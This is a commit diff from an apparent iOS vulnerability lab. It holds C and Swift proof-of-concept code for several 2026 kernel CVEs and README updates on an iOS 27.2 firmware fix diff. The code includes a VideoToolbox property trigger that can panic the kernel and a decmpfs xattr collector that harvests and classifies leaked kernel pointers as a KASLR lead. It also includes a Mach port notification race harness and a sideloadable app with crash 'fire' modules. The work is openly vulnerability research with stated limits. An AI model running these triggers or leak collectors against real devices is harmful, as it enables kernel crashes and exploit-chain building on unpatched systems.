iOS 27.2 kernel differential + NTL fix-boundary sweep

- docs/IOS27.2-KERNEL-DIFF.md: 27.0.1 vs 27.2 (iPhone19,7), 162 advisory CVEs, 93 size-changed kexts; confirmed fix sites for 112705 (NTL 0..7 assertion), 113910 (produced vs expected chunk bytes), 112507 (ipr/table NULL checks in ipc_misc.c); __DATA_SPTM byte-identical, no PPL/SPTM/MIE code change or bypass fix - tools/ipsw/: Range-based IPSW reader, IM4P/LZFSE + fileset parser, kext extractor, llvm-objdump diff, advisory mapper - CVE-2026-112705: --sweep mode (0..12, no frame) in both POCs; app module now sweeps 0/1/7/8/64/1024/16462/16463 - app 2.3 build 7
fix: register the arrivals group in the lab list
2026-10-31 17:09:48 +08:00 · 2026-10-31 16:06:28 +08:00 · 2026-10-31 15:59:20 +08:00 · 2026-10-31 15:37:58 +08:00
23 changed files with 1448 additions and 79 deletions
@@ -17,7 +17,7 @@
 // ── shared stats (mutex-guarded, mirror of KernelIPC.Stats) ──
 typedef struct {
-    long operations, allocations, notifications, sends, deallocations;
+    long operations, allocations, notifications, sends, deallocations, armed;
    int budget_exhausted;
    long notifications_refused;
    long budget;
@@ -50,10 +50,10 @@ static void record(kern_return_t kr) {
 //
 // Resource discipline: mod_refs with a negative delta against a zero send-ref count
 // does not return an error on this platform — it SIGKILLs the process. Check first.
-typedef struct { long alloc, notify, send, dealloc; } ring_result;
+typedef struct { long alloc, notify, send, dealloc, armed; } ring_result;
 static ring_result ring(mach_port_t task, int depth, int *budget, long *refused) {
-    ring_result r = {0, 0, 0, 0};
+    ring_result r = {0, 0, 0, 0, 0};
    mach_port_name_t ports[512];
    int nports = 0;
    if (depth > 512) depth = 512;
@@ -79,9 +79,11 @@ static ring_result ring(mach_port_t task, int depth, int *budget, long *refused)
        kern_return_t kr1 = mach_port_request_notification(
            task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p,
            (mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev);
-        if (kr1 != KERN_SUCCESS) {
+        if (kr1 == KERN_SUCCESS) {
            r.armed++;
        } else {
            record(kr1);
-            if (kr1 == KERN_INVALID_CAPABILITY) (*refused)++;
+            (*refused)++;
        }
        if (prev != 0) mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1);
        r.notify++;
@@ -90,9 +92,11 @@ static ring_result ring(mach_port_t task, int depth, int *budget, long *refused)
        kern_return_t kr2 = mach_port_request_notification(
            task, p, MACH_NOTIFY_DEAD_NAME, 0, p,
            (mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev2);
-        if (kr2 != KERN_SUCCESS) {
+        if (kr2 == KERN_SUCCESS) {
            r.armed++;
        } else {
            record(kr2);
-            if (kr2 == KERN_INVALID_CAPABILITY) (*refused)++;
+            (*refused)++;
        }
        if (prev2 != 0) mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1);
        r.notify++;
@@ -159,7 +163,7 @@ static int g_depth = 48;
 static void *worker(void *arg) {
    (void)arg;
-    long local_alloc = 0, local_notify = 0, local_send = 0, local_dealloc = 0, local_ops = 0;
+    long local_alloc = 0, local_notify = 0, local_send = 0, local_dealloc = 0, local_ops = 0, local_armed = 0;
    while (!past_deadline()) {
        pthread_mutex_lock(&S.lock);
@@ -184,6 +188,7 @@ static void *worker(void *arg) {
        local_notify += res.notify;
        local_send += res.send;
        local_dealloc += res.dealloc;
        local_armed += res.armed;
        local_ops += 4;
        pthread_mutex_lock(&S.lock);
@@ -197,6 +202,7 @@ static void *worker(void *arg) {
    S.notifications += local_notify;
    S.sends += local_send;
    S.deallocations += local_dealloc;
    S.armed += local_armed;
    pthread_mutex_unlock(&S.lock);
    return NULL;
 }
@@ -246,8 +252,8 @@ int main(int argc, char **argv) {
    for (int i = 0; i < workers; i++) pthread_create(&threads[i], NULL, worker, NULL);
    for (int i = 0; i < workers; i++) pthread_join(threads[i], NULL);
-    printf("ops=%ld alloc=%ld notify=%ld send=%ld dealloc=%ld\n",
+    printf("ops=%ld alloc=%ld notify=%ld send=%ld dealloc=%ld armed=%ld\n",
-           S.operations, S.allocations, S.notifications, S.sends, S.deallocations);
+           S.operations, S.allocations, S.notifications, S.sends, S.deallocations, S.armed);
    if (S.budget_exhausted) printf("(budget reached, converged early — by design, not a failure)\n");
    if (S.notifications_refused > 0) {
        printf("notifications refused %ld times — this platform does not allow notification\n"
@@ -260,7 +266,14 @@ int main(int argc, char **argv) {
            printf("  %s (%d) x %ld\n", S.err_names[i], S.err_codes[i], S.err_counts[i]);
        }
    }
-    printf("CVE-2026-112507 · survived the interleaving, no request-table fault surfaced\n");
+    if (S.armed == 0 && S.notifications > 0) {
        printf("notification registration never succeeded (-300, MIG type error).\n");
        printf("the request-table path was never armed: this run is not a 112507 test.\n");
        printf("CVE-2026-112507 · NOT REACHED from this process\n");
    } else {
        printf("CVE-2026-112507 · %ld registrations armed, survived the interleaving, "
               "no request-table fault surfaced\n", S.armed);
    }
    pthread_mutex_destroy(&S.lock);
    return 0;
 }
@@ -2,6 +2,10 @@
 // ANE userspace entry point probe
 // C twin of the Swift POC: dlopens the private ANE framework and CoreML, dlsyms the
 // client/program/model/request entry points the CVE lives behind.
 //
 // Honest negative: the ANE kernel interface is not reachable from a third-party
 // process, so this is a reachability map, not a primitive. No R/W is attempted.
 // See docs/KERNEL-RW-ASSESSMENT.md.
 // Build: clang -O2 -o cve-2026-112696 CVE-2026-112696.c
 // Run:   ./cve-2026-112696
@@ -8,9 +8,14 @@
 // macOS runs the same driver: the encode is gated behind --force-host because it can
 // panic the host kernel.
 //
 // Primitive limit: the write is a constant fill at a fixed offset. There is no
 // address control and no value control, so this is a DoS primitive, not an
 // arbitrary kernel read/write. See docs/KERNEL-RW-ASSESSMENT.md.
 //
 // Build: clang -O2 -o cve-2026-112705 CVE-2026-112705.c \
 //          -framework VideoToolbox -framework CoreMedia -framework CoreVideo -framework CoreFoundation
 // Run:   ./cve-2026-112705 [layers] [--force-host]
 //        ./cve-2026-112705 --sweep        (property acceptance 0..12, no frame)
 #include <stdio.h>
 #include <stdlib.h>
@@ -50,8 +55,10 @@ static void print_readback(VTCompressionSessionRef s, const char *key) {
 int main(int argc, char **argv) {
    int layers = 16463;
    int force_host = 0;
    int sweep = 0;
    for (int i = 1; i < argc; i++) {
        if (strcmp(argv[i], "--force-host") == 0) force_host = 1;
        else if (strcmp(argv[i], "--sweep") == 0) sweep = 1;
        else if (atoi(argv[i]) > 0) layers = atoi(argv[i]);
    }
@@ -72,6 +79,21 @@ int main(int argc, char **argv) {
    set_prop(session, "RealTime", kCFBooleanFalse);
    printf("EncoderUsage=%d RCMode=%d\n", su, sr);
    if (sweep) {
        // 27.2 clamps the property to 0..7 (the new assertion string is
        // "iNumberOfTemporalLayers <= 7"); 27.0/27.0.1 accepts the whole range.
        printf("sweep: NTL acceptance 0..12 (no frame submitted)\n");
        for (int n = 0; n <= 12; n++) {
            CFNumberRef nv = CFNumberCreate(NULL, kCFNumberIntType, &n);
            int32_t st = set_prop(session, "NumberOfTemporalLayers", nv);
            CFRelease(nv);
            printf("NTL %2d: status=%d\n", n, st);
        }
        VTCompressionSessionInvalidate(session);
        CFRelease(session);
        return 0;
    }
    CFNumberRef n = CFNumberCreate(NULL, kCFNumberIntType, &layers);
    int32_t sn = set_prop(session, "NumberOfTemporalLayers", n);
    CFRelease(n);
@@ -11,6 +11,7 @@
 // Build: xcrun -sdk iphoneos swiftc -O -o cve-2026-112705 CVE-2026-112705.swift \
 //          -framework VideoToolbox -framework CoreMedia -framework CoreVideo
 // Run:   ./cve-2026-112705 [layers] [--force-host]     default 16463
 //        ./cve-2026-112705 --sweep                    property acceptance 0..12, no frame
 import Foundation
 import VideoToolbox
@@ -19,6 +20,7 @@ import CoreVideo
 let args = CommandLine.arguments
 let forceHost = args.contains("--force-host")
 let sweep = args.contains("--sweep")
 let layers = args.dropFirst().first(where: { Int($0) != nil }).flatMap { Int($0) } ?? 16463
 func fourCC(_ v: OSStatus) -> String {
@@ -63,6 +65,17 @@ print("EncoderUsage=\(su) RCMode=\(sr)")
 let sn = set(s, "NumberOfTemporalLayers", NSNumber(value: layers))
 print("NumberOfTemporalLayers=\(layers) status=\(sn) readback: \(readBack(s, "NumberOfTemporalLayers"))")
 if sweep {
    // 27.2 clamps to 0...7; 27.0/27.0.1 accepts the full range.
    print("sweep: NTL acceptance 0...12 (no frame submitted)")
    for n in 0...12 {
        let st = set(s, "NumberOfTemporalLayers", NSNumber(value: n))
        print("NTL \(n): status=\(st)")
    }
    VTCompressionSessionInvalidate(s)
    exit(0)
 }
 if sn != 0 {
    print("property refused — fixed build (27.2+) or a platform without the AVE2 property")
    VTCompressionSessionInvalidate(s)
@@ -2,9 +2,14 @@
 // Kernel heap disclosure through short-producing chunks
 // C twin of the Swift POC: builds a type-4 chunked zlib com.apple.decmpfs xattr whose
 // chunks produce fewer bytes than the chunk table promises, writes it onto a file,
-// reads the file back and scans for kernel-space pointers (>= 0xFFFFFFE000000000).
+// reads the file back and classifies every canonical kernel pointer in the result.
 //
 // The leak is the chain step, not the whole chain: it discloses heap bytes, it does
 // not write them. --loop repeats the sweep and aggregates; --keep writes the raw
 // readback for offline analysis. Candidates are printed, never dereferenced.
 //
 // Build: clang -O2 -o cve-2026-113910 CVE-2026-113910.c
-// Run:   ./cve-2026-113910
+// Run:   ./cve-2026-113910 [--loop N] [--keep out.bin] [--verbose]
 #include <stdio.h>
 #include <stdlib.h>
@@ -85,28 +90,69 @@ static buf decmpfs_chunked(size_t uncompressed, int chunk_count, size_t produce)
    return out;
 }
-// ── trigger: xattr round trip + kernel-pointer scan ──
+// ── leak classification ──
 // arm64 kernel mappings are canonical with the top 16 bits set. iOS splits them into
 // the kernelcache/kext region (0xfffffff0…) and the data/heap region (0xffffffe0…).
 // Anything that looks like a tagged userspace pointer is reported separately; it is
 // not a KASLR lead. Values are only ever printed.
 enum ptr_class {
    PTR_NONE = 0,
    PTR_KERNEL_TEXT,
    PTR_KERNEL_DATA,
    PTR_KERNEL_OTHER,
    PTR_USER,
 };
 static const char *class_name(int c) {
    switch (c) {
        case PTR_KERNEL_TEXT:  return "kernel-text";
        case PTR_KERNEL_DATA:  return "kernel-data";
        case PTR_KERNEL_OTHER: return "kernel-other";
        case PTR_USER:         return "user";
        default:               return "-";
    }
 }
 static int classify(uint64_t v) {
    if (v == 0) return PTR_NONE;
    if ((v >> 48) == 0xffff) {
        if (v >= 0xfffffff000000000ULL) return PTR_KERNEL_TEXT;
        if (v >= 0xffffffe000000000ULL) return PTR_KERNEL_DATA;
        return PTR_KERNEL_OTHER;
    }
    if ((v >> 48) == 0x0000) return PTR_USER;
    return PTR_NONE;
 }
 typedef struct {
    int wrote_xattr;
    long read_back;
    long hits;
-    char samples[8][32];
+    long by_class[5];
    char samples[8][40];
    int nsamples;
    char note[128];
 } decmpfs_result;
-static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce) {
+static void note_sample(decmpfs_result *r, uint64_t v, size_t off, int cls) {
    if (r->nsamples >= 8) return;
    snprintf(r->samples[r->nsamples], sizeof r->samples[0], "0x%016llx @ +0x%zx %s",
             (unsigned long long)v, off, class_name(cls));
    r->nsamples++;
 }
 static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce,
                            FILE *keep, int verbose) {
    decmpfs_result r = {0};
    // seed file: plain 0x41 content (the uncompressed claim)
    unlink(path);
    int fd = open(path, O_WRONLY | O_CREAT, 0644);
    if (fd >= 0) {
-        uint8_t zeros[4096];
+        uint8_t fill[4096];
-        memset(zeros, 0x41, sizeof zeros);
+        memset(fill, 0x41, sizeof fill);
        size_t left = uncompressed < 64 ? 64 : uncompressed;
        while (left > 0) {
-            size_t take = left < sizeof zeros ? left : sizeof zeros;
+            size_t take = left < sizeof fill ? left : sizeof fill;
-            if (write(fd, zeros, take) != (ssize_t)take) break;
+            if (write(fd, fill, take) != (ssize_t)take) break;
            left -= take;
        }
        close(fd);
@@ -120,7 +166,6 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
    }
    r.wrote_xattr = 1;
    // read the file back: the kernel decompresses through AppleFSCompression
    FILE *f = fopen(path, "rb");
    if (!f) {
        snprintf(r.note, sizeof r.note, "read failed errno=%d", errno);
@@ -134,19 +179,23 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
    fclose(f);
    r.read_back = (long)back.n;
-    // scan for kernel-space pointers in whatever the kernel handed back
+    if (keep) {
-    if (back.n >= 8) {
+        fprintf(keep, "# chunks=%d produce=%zu uncompressed=%zu bytes=%zu\n",
                chunks, produce, uncompressed, back.n);
        if (back.n) fwrite(back.d, 1, back.n, keep);
        fputc('\n', keep);
    }
    // A pointer can sit at any 8-byte-aligned offset; scan the whole readback.
    for (size_t i = 0; i + 8 <= back.n; i += 8) {
        uint64_t v = 0;
        for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k);
-            if (v >= 0xFFFFFFE000000000ULL) {
+        int cls = classify(v);
        if (cls == PTR_KERNEL_TEXT || cls == PTR_KERNEL_DATA || cls == PTR_KERNEL_OTHER) {
            r.hits++;
-                if (r.nsamples < 8) {
+            r.by_class[cls]++;
-                    snprintf(r.samples[r.nsamples], sizeof r.samples[0], "0x%016llx @ +0x%zx",
+            note_sample(&r, v, i, cls);
-                             (unsigned long long)v, i);
+            if (verbose) printf("  +0x%06zx 0x%016llx %s\n", i, (unsigned long long)v, class_name(cls));
                    r.nsamples++;
                }
            }
        }
    }
    snprintf(r.note, sizeof r.note, "read %ld B", r.read_back);
@@ -155,13 +204,34 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
    return r;
 }
-int main(void) {
+int main(int argc, char **argv) {
-    const char *path = "decmpfs_probe.bin";
+    int loop = 1;
-    struct { int chunks; size_t produce; } configs[4] = {
+    int verbose = 0;
-        {4, 65536}, {4, 4096}, {8, 1024}, {2, 1},
+    const char *keep_path = NULL;
-    };
+    for (int i = 1; i < argc; i++) {
-    long total_hits = 0;
+        if (strcmp(argv[i], "--loop") == 0 && i + 1 < argc) loop = atoi(argv[++i]);
        else if (strcmp(argv[i], "--keep") == 0 && i + 1 < argc) keep_path = argv[++i];
        else if (strcmp(argv[i], "--verbose") == 0) verbose = 1;
        else { printf("usage: %s [--loop N] [--keep out.bin] [--verbose]\n", argv[0]); return 1; }
    }
    if (loop < 1) loop = 1;
    const char *path = "decmpfs_probe.bin";
    struct { int chunks; size_t produce; } configs[] = {
        {1, 0}, {1, 1}, {2, 1}, {4, 1},
        {4, 4096}, {8, 1024}, {4, 65536}, {1, 65536},
    };
    const int ncfg = (int)(sizeof configs / sizeof configs[0]);
    FILE *keep = keep_path ? fopen(keep_path, "wb") : NULL;
    if (keep_path && !keep) { printf("cannot open %s\n", keep_path); return 1; }
    if (keep) {
        fprintf(keep, "# CVE-2026-113910 decmpfs readback — %d loops x %d configs\n", loop, ncfg);
    }
    long total_hits = 0;
    long by_class[5] = {0};
    long runs = 0;
    printf("— baseline: what a plain file reads back —\n");
    {
        unlink(path);
@@ -176,22 +246,41 @@ int main(void) {
        if (f) { fseek(f, 0, SEEK_END); printf("plain size: %ld\n", ftell(f)); fclose(f); }
    }
-    printf("\n— chunked xattr round trip —\n");
+    printf("\n— chunked xattr round trip (%d loop%s x %d configs) —\n", loop, loop == 1 ? "" : "s", ncfg);
-    for (int i = 0; i < 4; i++) {
+    for (int l = 0; l < loop; l++) {
        for (int i = 0; i < ncfg; i++) {
            size_t uncompressed = (size_t)configs[i].chunks * 65536;
-        decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce);
+            decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce,
                                     keep, verbose);
            runs++;
            total_hits += r.hits;
-        printf("chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n",
+            for (int c = 0; c < 5; c++) by_class[c] += r.by_class[c];
-               configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note);
+            if (r.hits > 0 || verbose) {
-        if (r.nsamples > 0) {
+                printf("  l=%d chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n",
-            printf("  candidates:");
+                       l, configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note);
-            for (int k = 0; k < r.nsamples; k++) printf(" %s", r.samples[k]);
+                for (int k = 0; k < r.nsamples; k++) printf("    %s\n", r.samples[k]);
-            printf("\n");
+            }
        }
    }
    // Class totals are what matter here; the raw bytes are in --keep for offline work.
    unlink(path);
-    printf("\nCVE-2026-113910 · %s\n", total_hits > 0 ? "kernel pointer candidates found"
+    if (keep) { fclose(keep); printf("\nraw readback: %s\n", keep_path); }
-                                                      : "no kernel pointers surfaced (read was served plain)");
+
-    return 0;
+    printf("\n== leak summary ==\n");
    printf("runs=%ld hits=%ld\n", runs, total_hits);
    printf("  kernel-text:  %ld\n", by_class[PTR_KERNEL_TEXT]);
    printf("  kernel-data:  %ld\n", by_class[PTR_KERNEL_DATA]);
    printf("  kernel-other: %ld\n", by_class[PTR_KERNEL_OTHER]);
    if (total_hits > 0) {
        printf("\nKASLR lead: at least one canonical kernel pointer surfaced.\n");
        printf("Next step is not a write: map which object owns the leaked slot, then check\n");
        printf("whether the same chunk table can be pointed at that slot again.\n");
    } else {
        printf("\nno kernel pointers surfaced (decmpfs did not engage, or the read was served plain)\n");
    }
    printf("CVE-2026-113910 · leak primitive — read only; no write is attempted\n");
    return total_hits > 0 ? 0 : 0;
 }
@@ -2,6 +2,11 @@
 // HID event tree append entry point probe
 // C twin of the Swift POC: dlopens IOKit and dlsyms the event-tree entry points
 // (create/append/serialize/type/vendor-defined) the unbounded append lives behind.
 //
 // This file stops at symbol reachability and never appends an event: the bug is a
 // fixed-offset write into a short heap allocation with no leak and no address
 // control. Attempting it blind is a panic, not an experiment. See
 // docs/KERNEL-RW-ASSESSMENT.md.
 // Build: clang -O2 -o cve-2026-65385 CVE-2026-65385.c
 // Run:   ./cve-2026-65385
@@ -2,7 +2,7 @@
 [中文](README.zh-CN.md)
-An iOS 17.0–27.1 vulnerability-verification and device-modification lab, **56 modules**. Primary target: **iOS 27.0.1 / iPhone 18 Pro Max** (iPhone19,7 · 24A446).
+An iOS 17.0–27.1 vulnerability-verification and device-modification lab, **57 modules**. Primary target: **iOS 27.0.1 / iPhone 18 Pro Max** (iPhone19,7 · 24A446).
 Component coverage: ImageIO, CoreGraphics, CoreMedia, FontParser, ArchiveUtility, VideoToolbox, AudioToolbox, Calendar, Dolby Vision RPU, XNU kernel IPC, sandbox & filesystem, GPT / kexts, HID / peripherals / radio, entitlement probing.
@@ -131,15 +131,21 @@ bash scripts/build-sim.sh        # → build/sim/Cinder27.app (arm64 simulator)
 python3 scripts/gen_seeds.py     # → seeds/ (the app's built-in seeds, byte-identical to the .py POCs)
 ```
-Device install: bundle id `com.jbjf.cinder27` (v2.1 build 4), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload.
+Device install: bundle id `com.jbjf.cinder27` (v2.3 build 7), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload.
 ## Verification status
-Full 56-module regression (simulator build): **50 done + 4 armed + 2 fire modules left unrun by design**. The two fire modules are the deliberate death oracles for 112705 and 112621; they are compiled in and require a tap.
+Full 57-module regression (simulator build): **51 done + 4 armed + 2 fire modules left unrun by design**. The two fire modules are the deliberate death oracles for 112705 and 112621; they are compiled in and require a tap.
 Armed is not a timeout — it is the **death oracle firing**: the payload crashes the process, the journal stays armed, the process vanishes. The cm.rpu / cm.rpu.sweep crash stacks land inside `CMGetDMVersionLevelFromRPU` with SIGSEGV; the C twin pins the mechanism — the iOS surface is the 4-argument `(bytes, count, u32*, u32*)` form, while the macOS export takes a single `CFDataRef` (verified by disassembly: arg0 goes through a CFRetain-style GOT call before `FigHEVCBridge_GetRPUMetadata`), so the Swift 4-arg call dies at entry on the simulator's CoreMedia. cg.shading / cg.shading.sweep are R=136 long-overflow ladder sweeps, by design advancing within one process to the fatal rung.
-All 34 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64 — and each runs with a recorded oracle on the dev host: 112522 raises SIGTRAP (the 2-byte OOB write caught by malloc), 112507 survives the ring race with -300 / invalid-destination receipts, 112706 answers 'Connection invalid' (mediaplaybackd bytestream XPC absent on macOS — silent-service verdict), 112485 surfaces the PEGTL depth receipt (`Expected } at 'def Xform "n1999"'`), 113910 reads back plain 0x41s (decmpfs does not engage for files with existing data). The three arrivals add their own receipts: 112621 builds the 256×16 → 256×48 container and the 48-row clear faults at a guard page exactly 32,768 bytes past the 16,384-byte pool; 84636 enumerates configd's `State:/Network` tree and reads `Global/DNS` and the primary service while `CNCopyCurrentNetworkInfo` is unavailable on the host — on a device the same call returns nil without the entitlement. 112705 compiles but is never executed on the host: its `.c` carries a `--force-host` gate because a frame submit reaches the same AppleAVE2 driver that panicked this Mac, and the app splits it into a property probe plus a separate fire module. The rest refuse at the entry layer — same receipts as the app harness.
+All 34 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64 — and each runs with a recorded oracle on the dev host: 112522 raises SIGTRAP (the 2-byte OOB write caught by malloc), 112507 survives the ring race with -300 / invalid-destination receipts, 112706 answers 'Connection invalid' (mediaplaybackd bytestream XPC absent on macOS — silent-service verdict), 112485 surfaces the PEGTL depth receipt (`Expected } at 'def Xform "n1999"'`), 113910 reads back plain 0x41s and reports 0 classified pointers across the 16-run sweep (decmpfs does not engage for files with existing data); its collector now adds `--loop`, `--keep` and kernel-text/data classification. The three arrivals add their own receipts: 112621 builds the 256×16 → 256×48 container and the 48-row clear faults at a guard page exactly 32,768 bytes past the 16,384-byte pool; 84636 enumerates configd's `State:/Network` tree and reads `Global/DNS` and the primary service while `CNCopyCurrentNetworkInfo` is unavailable on the host — on a device the same call returns nil without the entitlement. 112705 compiles but is never executed on the host: its `.c` carries a `--force-host` gate because a frame submit reaches the same AppleAVE2 driver that panicked this Mac, and the app splits it into a property probe plus a separate fire module. The rest refuse at the entry layer — same receipts as the app harness.
 Kernel R/W feasibility for the high/critical entries is in [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md). Short version: none of the six kernel-reachable primitives supplies both address and value control. 113910 is a classified heap leak (read only), 112554 is a read-width model, 112507 is a race receipt on a UAF-shaped bug, and 112705 / 65385 / 112696 are DoS, reachability, and an honest negative respectively. The maximum safe capability the lab demonstrates is a KASLR lead plus race receipts — not arbitrary kernel R/W.
 112507 reachability was re-measured on the target (iPhone19,7, iOS 27.0.1) with the new `kern.ipc.lifecycle` module and an `armed` counter in `kern.ipc`: `mach_port_request_notification` returns -300 (MIG_TYPE_ERROR) for every type/right combination tried, 0 armed out of 12,288 registrations. The request table is never armed, so the race is not reachable from an unentitled app; the earlier "survived the interleaving" line is retracted. Details in [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md).
 **iOS 27.2 firmware diff (27.0.1 vs 27.2, iPhone19,7):** [docs/IOS27.2-KERNEL-DIFF.md](docs/IOS27.2-KERNEL-DIFF.md). The update carries 162 advisory CVEs; 93 of 303 common kexts changed text size. Confirmed fix sites: 112705 clamps `NumberOfTemporalLayers` to 0…7 (`iNumberOfTemporalLayers <= 7` assertion), 113910 adds `chunk %u produced %lld of %lld expected bytes`, 112507 adds `ipr != NULL` / `table != NULL` in `ipc_misc.c`. `__DATA_SPTM` is byte-identical across both builds; the PPL/SPTM/MIE string and code surface is unchanged, so no bypass for those three is fixed in 27.2.
 ## Module semantics
@@ -2,7 +2,7 @@
 [English](README.md)
-iOS 17.0–27.1 漏洞验证与设备修改工具链，**56 个模块**。主靶：**iOS 27.0.1 / iPhone 18 Pro Max**（iPhone19,7 · 24A446）。
+iOS 17.0–27.1 漏洞验证与设备修改工具链，**57 个模块**。主靶：**iOS 27.0.1 / iPhone 18 Pro Max**（iPhone19,7 · 24A446）。
 组件覆盖：ImageIO、CoreGraphics、CoreMedia、FontParser、ArchiveUtility、VideoToolbox、AudioToolbox、Calendar、Dolby Vision RPU、XNU 内核 IPC、沙盒与文件系统、GPT / kext、HID / 外设 / 无线链路、entitlement 探测。
@@ -130,15 +130,21 @@ bash scripts/build-sim.sh        # → build/sim/Cinder27.app（arm64 模拟器
 python3 scripts/gen_seeds.py     # → seeds/（app 内置种子，与 .py POC 产物逐字节一致）
 ```
-设备安装：bundle id `com.jbjf.cinder27`（v2.1 build 4），未签名——用自有证书 + 匹配（或通配符）描述文件签名后侧载。
+设备安装：bundle id `com.jbjf.cinder27`（v2.3 build 7），未签名——用自有证书 + 匹配（或通配符）描述文件签名后侧载。
 ## 验证状态
-56 模块全量回归（模拟器构建）：**50 done + 4 armed + 2 个 fire 模块按设计未运行**。两个 fire 模块是 112705 与 112621 的主动死亡 oracle，已编译进 app，需人为点按。
+57 模块全量回归（模拟器构建）：**51 done + 4 armed + 2 个 fire 模块按设计未运行**。两个 fire 模块是 112705 与 112621 的主动死亡 oracle，已编译进 app，需人为点按。
 armed 不是超时——是**死亡 oracle 命中**：负载触发进程崩溃，journal 停在 armed、进程消失。cm.rpu / cm.rpu.sweep 的崩溃栈落在 `CMGetDMVersionLevelFromRPU` 内 SIGSEGV；C 双子钉死了机制——iOS 面是 4 参 `(bytes, count, u32*, u32*)` 形态，而 macOS 导出的是单 `CFDataRef`（反汇编验证：arg0 先走 CFRetain 式 GOT 调用才进 `FigHEVCBridge_GetRPUMetadata`），所以 Swift 的 4 参调用在模拟器的 CoreMedia 上死在入口。cg.shading / cg.shading.sweep 为 R=136 长溢出阶梯扫描，按设计在同一进程内推进到致命级。
-34 个 C 双子全部零警告编译通过（`clang -O2 -Wall`，macOS arm64），且都在开发机上跑出记录在案的 oracle：112522 触发 SIGTRAP（2 字节越界写被 malloc 抓住）、112507 活过全程环竞态并带回 -300 / invalid-destination 回执、112706 回应 'Connection invalid'（macOS 无 mediaplaybackd bytestream XPC——静默服务判定）、112485 拿到 PEGTL 深度回执（`Expected } at 'def Xform "n1999"'`）、113910 读回纯 0x41（macOS 上带数据的文件不走 decmpfs）。三个新条目各自带回执：112621 造出 256×16 → 256×48 双帧容器，48 行 clear 在 guard 页前精确停下——越界 32,768 字节；84636 枚举 configd 的 `State:/Network` 树并读到 `Global/DNS` 与主服务，而宿主上 `CNCopyCurrentNetworkInfo` 不可用——真机上同一调用在无权限时返回 nil。112705 只编译不在宿主执行：`.c` 带 `--force-host` 闸门，因为帧提交会打到把本机打崩的同一个 AppleAVE2 驱动；app 里拆成属性探测与独立 fire 两个模块。其余都在入口层被拒——与 app 验证台同形回执。
+34 个 C 双子全部零警告编译通过（`clang -O2 -Wall`，macOS arm64），且都在开发机上跑出记录在案的 oracle：112522 触发 SIGTRAP（2 字节越界写被 malloc 抓住）、112507 活过全程环竞态并带回 -300 / invalid-destination 回执、112706 回应 'Connection invalid'（macOS 无 mediaplaybackd bytestream XPC——静默服务判定）、112485 拿到 PEGTL 深度回执（`Expected } at 'def Xform "n1999"'`）、113910 读回纯 0x41，并在 16 轮扫描中报告 0 个已分类指针（macOS 上带数据的文件不走 decmpfs）；采集器现在支持 `--loop`、`--keep` 与 kernel-text/data 分类。三个新条目各自带回执：112621 造出 256×16 → 256×48 双帧容器，48 行 clear 在 guard 页前精确停下——越界 32,768 字节；84636 枚举 configd 的 `State:/Network` 树并读到 `Global/DNS` 与主服务，而宿主上 `CNCopyCurrentNetworkInfo` 不可用——真机上同一调用在无权限时返回 nil。112705 只编译不在宿主执行：`.c` 带 `--force-host` 闸门，因为帧提交会打到把本机打崩的同一个 AppleAVE2 驱动；app 里拆成属性探测与独立 fire 两个模块。其余都在入口层被拒——与 app 验证台同形回执。
 高/严重条目的内核 R/W 可行性见 [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md)。结论：六个内核原语里没有任何一个同时具备地址控制与值控制。113910 是可分类的堆泄漏（只读），112554 是读宽度模型，112507 是 UAF 形状的竞态回执，112705 / 65385 / 112696 分别是 DoS、可达性与诚实负结果。实验室当前能安全证明的上限是 KASLR 线索 + 竞态回执，而不是任意内核读写。
 112507 的可达性已在目标机（iPhone19,7 / iOS 27.0.1）上用新增的 `kern.ipc.lifecycle` 模块与 `kern.ipc` 的 `armed` 计数重测：`mach_port_request_notification` 在所有类型/权限组合上都返回 -300（MIG_TYPE_ERROR），12,288 次注册 0 次成功。请求表从未被武装，因此无特权 app 触达不到该竞态；此前“活过交错”的结论撤回。详见 [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md)。
 **iOS 27.2 固件 diff（27.0.1 vs 27.2，iPhone19,7）：** [docs/IOS27.2-KERNEL-DIFF.md](docs/IOS27.2-KERNEL-DIFF.md)。本次更新含 162 条公告 CVE；303 个共有 kext 中 93 个 `__TEXT_EXEC` 尺寸变化。已确认的修复点：112705 把 `NumberOfTemporalLayers` 收紧到 0…7（断言 `iNumberOfTemporalLayers <= 7`），113910 新增 `chunk %u produced %lld of %lld expected bytes`，112507 在 `ipc_misc.c` 新增 `ipr != NULL` / `table != NULL`。`__DATA_SPTM` 两版字节完全一致，PPL/SPTM/MIE 的字符串与代码面没有变化 —— 27.2 没有修这三个 bypass。
 ## 模块语义
@@ -413,28 +413,27 @@ enum Catalog {
            reach: .kernel,
            tier: 2,
